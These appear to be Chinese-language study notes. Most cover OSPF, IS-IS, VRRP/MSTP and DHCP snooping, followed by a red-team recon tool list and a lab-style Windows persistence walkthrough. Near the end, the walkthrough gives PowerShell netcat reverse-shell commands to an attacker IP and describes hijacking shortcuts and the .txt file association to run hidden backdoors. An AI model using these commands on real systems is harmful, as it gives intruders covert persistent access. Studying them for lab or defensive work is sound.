ospf-isis(运营商)

1:网络拓扑

登录核心交换机看vlan

登录每一台路由器或者三层交换机看接口,邻居路由

ABR至少有一个接口要连接到骨干区域

自治系统:运行同一个协议,比如整个运行ospf的区域。ASBR说明某个三层交换机或者路由器运行两个自治系统,相当于运行两个协议。

企业用什么管理资产:

堡垒机:

准入:

软件:

cmdb:

管理网络设备(登录):secure CRT:该软件类似xshell方便ssh登录交换机。

ospf 开销计算:既看经过链路多少,也看带宽。

ospf虚链路:特殊情况下,分支单位不与骨干区域相连接。如下图,area 3 不直接与骨干区域相邻,除了abr其他学习不到该区域的路由。

注意到,area 0 一定是骨干区域

上图应该在R2和R3之间打上虚链路:
R2:ospf 1
area 2
vlink-peer 3.3.3.3 //R3的routerid

上图可见,已经学到了4.4.4.4的路由。

ospf邻居建立过程:

互相发送hello-邻居-泛洪LSA(拓扑、路由信息)-LSDB-运行spf算法-生成最优路由-路由表

国家电网、运营商:isis

ospf和isis的应用场景

内部网关协议:ospf isis

外部网关协议:bgp(国家与国家之间)

路由引入:目的:将静态路由引入ospf 或者将ospf引入BGP

如上图:R9运行的rip的路由,省总公司运行着OSPF路由,他们之间是相互学习不到路由的。因此需要引入路由。在R8(ASBR)上引入rip:
[R8]ospf1
[ospf1]import-route rip //即可

但是此时只是单向引入,要想R9也能学习ospf,在R8也引入ospf
[r8]rip 1

[r8-rip-1]import-route ospf 1 //将ospf区域的路由全部引入rip区域

外部引入的路由cost默认为1,而且不会累加。如果只有一个ASBR相当于只有一个出口,所以cost没必要累加,如果有两出口,就会开始累加。

LSA:链路状态广告LSA 是 OSPF 路由器之间交换的信息单元,每个 LSA 包含了关于单个路由器或网络的详细信息。通过交换这些 LSAs,OSPF 路由器能够构建一个完整的网络拓扑图,并使用这个图来计算到达网络中任何位置的最短路径。

封装在LSU里面,有三张表:
1、邻居表:dis ospf peer brief
2、拓扑表(链路状态数据库):dis ospf lsdb
3、路由表:dis ip routing-table

LSA 1型:每个路由器都会发送,自报家门,只在所处的area传播。我是谁,接了谁,有哪些网段。

LSA 2型:只有DR发出,也在所处的area传播。告诉所有人一共有几个网段,通告DR的信息以及所有成员信息。

LSA 3型:ABR发出。可以穿越整个自洽区域(在各个ABR中转) ,在不同区域的ospf信息进行传递。代表网段路由信息。

LSA 4型:ABR进行通告,告诉自治系统ASBR的routeid
dis ospf lsdb
dis ospf lsdb asbr

LSA 5型:ASBR发出,引入其他自治系统的路由信息。

LSA 7型:nssa lsa 特殊区域,nssa的ASBR产生,不接收4、5型LSA
经过ABR后7型转5型 //7型就是披马甲


路由汇总:

在ABR/ASBR上进行路由汇总,将多个网段汇成1个网段:
6.6.6.0/24
6.6.7.0/24
6.6.8.0/24
汇总成6.6.0.0/20 //根据掩码

ospf 1
area 1
abr-summary 6.6.0.0 255.255.240.0 // 但这是在ABR上做的,如果是ASBR则为 asbr-summary 6.6.0.0 255.255.240.0

特殊区域:
1、stub:末节区域,不接收4、5型LSA
在area 中所有路由器都进行配置 [ospf -area-1]stub //所有设备都敲上
此时由于不接收4、5型lsa也就是不接收来自其他自治区域的LSA ,其他末节区域的路由将无法学习,但是依然能访问,原因是自动产生一条0.0.0.0 吓一跳为ASBR的缺省路由。

2、totally-stub:完全末节
[ospf-area1]stub no-summary //不接收3、4、5型LSA

3、NSSA型:不完全末节

4、totaly-nssa

不接收3、4、5 //在totaly-stub基础上 多了一个7转5而已

OSPF路由控制:

IS-IS:

若不同区域都是L2可以构成邻居,不同区域的L12 和L2也能形成L2的邻居。

ISIS路由计算:

如上图,R1想要学习 R4 R5的路由,需要R2 R3生成缺省路由。R2 R3会向R1发送 ATT(附加信息)置1.

ATT=1 的情况:
1、必须是L1/2设备
2、必须有L2邻居
3、必须能接受不同区域的LSP

路由选择:

(stp:防止回环)MSTP技术(多生成树协议)VRRP(网关备份)

破环技术-生成树

vrrp+mstp 破环冗余

stp:固定时间发送报文,发现环路并阻塞端口。主要就是找根桥。

可靠性企业网:

1、vrrp+mstp(造价小)(公有技术,可以厂商间混用)

2、堆叠技术(推荐)(多虚一、一虚多)多虚一时相当于超融合,多台设备相当于一台设备。

MSTP同域三要素 域名、实例和vlan映射、修订级别。三要素一致才能确定同一个MSTP域。

VRRP:将两个网关虚拟成一个,这两个网关分成主备。主备设备之间互相发送心跳包(3s是最大时间),若某路由器、三层交换机故障,备用变主用,并且发送arp报文刷新接入层交换机的arp表。

不配置的情况下,vvrp的优先级是100.在vvrp中,优先级越大越好。优先级为0时表示设备出现问题不参与竞争,255则表示虚拟网关和实际网关为同一个ip。

mac: 01-00-5e 组播

vvrp封装在IP中,协议号112

虚拟mac地址:虚拟路由器根据vrid生成mac,一个虚拟路由器就拥有一个虚拟mac,格式为00-00-5e-00-01-{vrid}

vrrp联动bfd:在主设备,使用track:
vrrp vrid 1 track interface g0/0/1 //监控接口,如果某接口down,那么优先级默认减少10,但是如果更多设备串联,最好使用bfd。

vrrp负载分担:三层交换机上进行。:

如上图,sw2分别建立vlanif2 到 5,配上地址为254结尾,sw3同样只不过以253结尾,两个sw作为主备,互为对端地址。

[vlanifx]vrrp vrid x v-ip x.x.x.x

[vlanifx]vrrp vrid x p xxx //优先级

检查: [swx]dis vrrp brief

MSTP+VRRP:

所有的交换机:
stp region-configuration
region-name aa
revision-level 1
instance 1 vlan 2 to 3
instance 2 vlan 4 to 5
active region-configuration

随后在核心交换机上:
stp instance 1 root primary
stp instance 2 root secondary

对端上则优先级换过来。 //按照上述方法 此时核心交换机1为主根桥

安全设备会要求数据包来回路径一致,网络设备则不关注来回路径是否一致。

DHCP 安全防护

1、dhcp snooping :在交换机上只允许DHCP服务器的接口分发的ip地址有效,其他接口认为是无效地址。

2、IPSG ip源防护:在交换机与pc相连接的上联口, ip source check user-bind enable

从该接口的数据检查ip mac vlan,若不符合则丢弃

也可针对某个vlan的所有端口开启

ps:检查的表为dhcp snooping 的表 交换机:dis dhcp snooping user-bind all

开启了源防护后,由于静态ip地址不记录在snooping表项中,因此能限制手动配置的ip访问网络。

被限制后,由于会在接入交换机就被丢弃,连网关都无法访问。

3、由于DHCP snooping 的表项由于是存在内存中,遇到关机则会丢失,应该备份保存。

交换机:dhcp snooping user-bind autosave flash:/xx.tbl snooping表项会保存在该表里。

new工具、网站

棱角:有在线工具,提供各类命令参考。如无图形化下载命令等

burp必要插件:

1、apifinder:JS爬取

谷歌插件:

1、wappalyzer:识别网站插件

2、packer-fuzzer:扫描前端代码

#项目插件工具:

https://github.com/ffuf/ffuf

用Go编写的快速 Web 模糊测试程序。

https://github.com/gh0stkey/HaE

HaE是一款网络安全(数据安全)领域下的框架式项目,采用了乐高积木式模块化设计理念,巧妙地融入了人工智能大模型辅助技术,实现对HTTP消息(包含WebSocket)精细化的标记和提取。

https://github.com/Threezh1/JSFinder

一款用作快速在网站的js文件中提取URL,子域名的工具

https://github.com/pingc0y/URLFinder

URLFinder是一款快速、全面、易用的页面信息提取工具

用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口

https://github.com/rtcatc/Packer-Fuzzer

针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具

https://github.com/shuanx/BurpAPIFinder

攻防演练过程中,我们通常会用浏览器访问一些资产,但很多未授权/敏感信息/越权隐匿在已访问接口过html、JS文件等,通过该BurpAPIFinder插件我们可以:

1、发现通过某接口可以进行未授权/越权获取到所有的账号密码、私钥、凭证

2、发现通过某接口可以枚举用户信息、密码修改、用户创建接口

3、发现登陆后台网址

4、发现在html、JS中泄漏账号密码或者云主机的Access Key和SecretKey

5、自动提取js、html中路径进行访问,也支持自定义父路径访问 …

https://github.com/GerbenJavado/LinkFinder

功能类似于JSFinder,但JSFinder好久没更新了。

https://github.com/ttstormxx/jjjjjjjjjjjjjs

针对webpack站点,爬取网站JS文件,分析获取接口列表,自动结合指纹识别和fuzz获取正确api根,可指定api根地址(针对前后端分离项目,可指定后端接口地址),根据有效api根组合爬取到的接口进行自动化请求,发现未授权/敏感信息泄露,回显api响应,定位敏感信息、敏感文件、敏感接口。支持批量模式。支持需认证接口自动尝试bypass。

https://github.com/momosecurity/FindSomething

该工具是用于快速在网页的html源码或js代码中提取一些有趣的信息的浏览器插件,包括请求的资源、接口的url,请求的ip和域名,泄漏的证件号、手机号、邮箱等信息。

https://github.com/ScriptKid-Beta/Unexpected_information

BurpSuite插件用来标记请求包中的一些敏感信息、JS接口和一些特殊字段,

防止我们疏忽了一些数据包,使用它可能会有意外的收获信息。

安恒redteam-1

安恒九维能力:红队突破;橙队赋能;黄队建设;绿队改进;青队处置;蓝队防御;紫队优化;白队管理
ATT&CK:14个攻击内容-215个攻击活动
安恒-红队
攻击流程:
无感知:不直接使用自己的工具、ip等对目标进行扫描,信息打点阶段通过公开的网站、工具如fofa、zoomeye进行测绘;google语法搜索;dns历史解析记录等
情报刺探:访问web服务(http、HTTP),通过插件识别组件、插件信息
漏洞利用:识别出通用的web服务如tomcat,在一些网站如某DB或者msf的exp模块搜可利用漏洞并执行,获取webshell
提权:使用webshell工具连接受害主机后,通过漏洞或不安全的配置进行提权,将普通用户权限提升为管理员权限
横向:以受害主机为跳板机,在内网域之间横向攻击
隧道后门:持久化留后门,dns隧道、vpn隧道、计划任务等
一、开源情报OSINT框架(open source intellingence):
相关URL:
1、https://www.osintframework.com
2、https://4vio.com/osint //可翻译成中文
1、端口扫描:
扫描工具:
nmap 外网资产扫描
url:https://nmap.org
常用参数:
-v //显示扫描过程
-A //进攻式扫描
-nP //不用icmp ping
-Pn //视主机存活直接扫描
–top-ports 100 //扫前100
扫描方式:
-sT //最稳定,三次握手
-sS //默认,无完整握手
-sV //扫描主机和端口的版本
绕过防火墙:
-S //源地址伪装,自定义设置源地址,比如把源地址改成127.0.0.1
-source-port //指定源端口,如53
massan
url:https://github.com/robertdavidgraham/massan
常见参数:
–top-ports 100 //扫描前100
-rate 100000 默认每秒100个包
-iL filename //从文件读取输入
-v //详细输出
2、子域名搜集
工具:
subfinder:(需要go环境)
url:https://github.com/projectdiscover/subfinder
oneforall:(需要python3)
url:https://github.com/shmilylty/Oneforall
命令:python3 oneforall.py –target xxxxx.com run
sublist3r:(python3)
url:https://github.com/aboul3la/sublist3r
命令:python3 sublist3r.py xxxx.com -p53,443,8080
子域名挖掘机:
url:https://www.webshell.cc/6384.html
3、whois/DNS查询
工具:
centralops //whois记录、dns记录
url:https://centralops.net/co/DomainDosasier.aspx
dnsdumpster.com //DNS解析记录-推荐
url:https://dnsdumpster.com
4、ip反查域名
工具:
IP38
url:https://www.ip138.com
5、cdn
工具:
chinaz //查询是否有cdn以及供应商名字
url:https://cdn.chinaz.com
6、数字证书
工具:
censys //查询签名、过期证书等
url:https://search.censys.io/
7、空间测绘
工具:
fofa
shodan
spyse
dnsdb
8、用户名昵称
工具:
sherlock
url:https://github.com/sherlock-project/sherlock
maigret
url:https://github.com/soxoj/maigret
whatsmyname
rocketreach
9、邮件搜集
工具:
hunter //查询邮件后缀
url:https://hunter.io
omail
url:https://omail.io
skymem
url:https://www.skymem.info
infoga //检查邮件是否泄露 python3
url:https://github.com/m4ll0k/infoga
10、临时邮件:
收件:
fakemailgenerator
url:http://www.fakemailgenerator.com
收发、无需注册:
kuku
url:https://m.kuku.lu
11、IP定位
工具:
ipuu //高精度定位ip
url:www.ipuu.net
12、综合搜集
工具:
goby
maltego //kali自带 查询dns解析、子域名、邮箱关联
url:https://www.maltego.com
13、代码信息泄露
工具:
searchcode //各大源码查询源代码泄露 效果好
url:https://searchcode.com
14、密码泄露
工具:
intelx //搜集密码泄露
url:https://intelx.io
14、设备默认密码
工具:
cirt //设备的默认密码
url:https://cirt.net
routerpasswords
url:https://www.roputerpasswords.com
15、历史漏洞
工具:
乌云
url:http://wy.zone.ci

公众号

杂项:
微信公众号的类别:
·服务号
·订阅号
·企业公众号
·小程序
若企业微信公众号能跳转外部小程序等外部应用的内容,有挖掘潜力否则不必要挖掘。

web应用:
网站php解析、下载的区别,体现在中间件如何解析文件类型(MIME类型)

数据库:
    常规-本地一致
    站库分离-另使用一台服务器的数据库
    站库分离-云数据库应用
网站搭建:子域名
    端口站
    目录站
前后端分离:
    前端:只展示数据,更新通过api
    后端:实际处理数据
    漏洞:   1、前端页面大部分不存在漏洞
            2、后端管理大多在另一个站点(另一个域名)
            3、获取到的权限可能不影响后端
    集成类环境:
        宝塔+phpstudy:由于安装时使用administrator权限安装集成类,导致继承了administrator权限。(宝塔目前相对安全)
            原理:打包类集成化环境,权限配置可能会被控制。
        docker: 
            影响:拿到权限只是docker的权限,不是真正的权限。
            应对:docker逃逸
建站分配站:
    1、托管
    2、申请

http协议

ua 表示浏览器信息 可以通过插件User-Agent Switcher and Manager修改,如伪造成手机访问网页。

q表示权重;

connection:close表示发送一次就断开,keeplink表示发送一次请求能发送多个请求包。


30x状态码原因:

①网站做了容错,访问错误页面会跳转固定页面:

请求文件、路径不存在(中间件规则配置的)

②代码文件做了跳转,触发规则自动跳转固定页面:

请求文件、路径存在(文件代码配置的)

200和404误报原因:

网站做了容错,访问错误页面跳转固定页面:

请求文件、路径不存在


渗透测试一般涉及的报文字段:

1、UA头-系统平台

常见举例影响:

-比如网站有UA收集整理功能,如果将UA信息记录到数据库的话,这个过程有接受UA信息及写入数据库的操作,这个地方可能存在SQL注入

-渗透测试习惯

部分网站做了限制设备访问的需求,手机或电脑只能访问一个,如果我们自己要电脑测试需要更改成手机访问才可以继续

2、Cookie-用户身份

涉及cookie修改、cookie欺骗

3、Post数据-登录爆破

4、返回状态码-文件探针

windows持久化-thm(后门文件)

尝试找到一些可执行文件可能是目标经常用的。

比如在桌面找到了计算器.exe或者别的,如游戏等,思路就是将快捷方式指向恶意脚本,恶意脚本先执行反弹shell再运行正常的功能,但是观察到会有短暂的命令提示符闪烁,很明显。在快捷方式所在的目录放一个ps1脚本

如:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe
然后在快捷方式本来的保存地址处,修改成输入下面命令让快捷方式指向这个恶意脚本:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
注意到应该事先准备好图标,否则修改上述属性时快捷方式就发生变化了。

除了上述这一种劫持了exe文件,还可以尝试劫持文件关联,劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell

修改注册表: PsExec64.exe -i -s regedit //首先需要有这个exe

默认的操作系统文件关联保存在注册表内,所以很多恶意文件都会对注册表进行操作,很多恶意样本分析都会着重针对注册表的改动情况。

其中为HKLM\Software\Classes\下的每种文件类型存储了一个密钥。假设我们要检查使用哪个程序打开 .txt 文件;我们只需检查 .txt 子项,并找到与其关联的 编程 ID (ProgID) 。 ProgID 只是系统上安装的程序的标识符。

.txt 扩展名为例子

data字段为ProgID,默认为 txtfile 。通过这个名称,在\class下继续查找:

大多数 ProgID 条目在 shell\open\command 下都有一个子项,其中指定了对具有该扩展名的文件运行的默认命令。

在这种情况下,尝试打开.txt文件时,系统将执行

%SystemRoot%\system32\NOTEPAD.EXE %1

其中%1代表打开的文件的名称。如果我们想劫持这个扩展(.txt),我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.2.37.236 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]

接下来修改注册表里的txtfile,根据下图的路径:

hlm\software\classes\txtfile\shell\open\command

修改成poweshell -windowstyle hidden C:\windows\脚本 %1

然后运行一个txt文件就行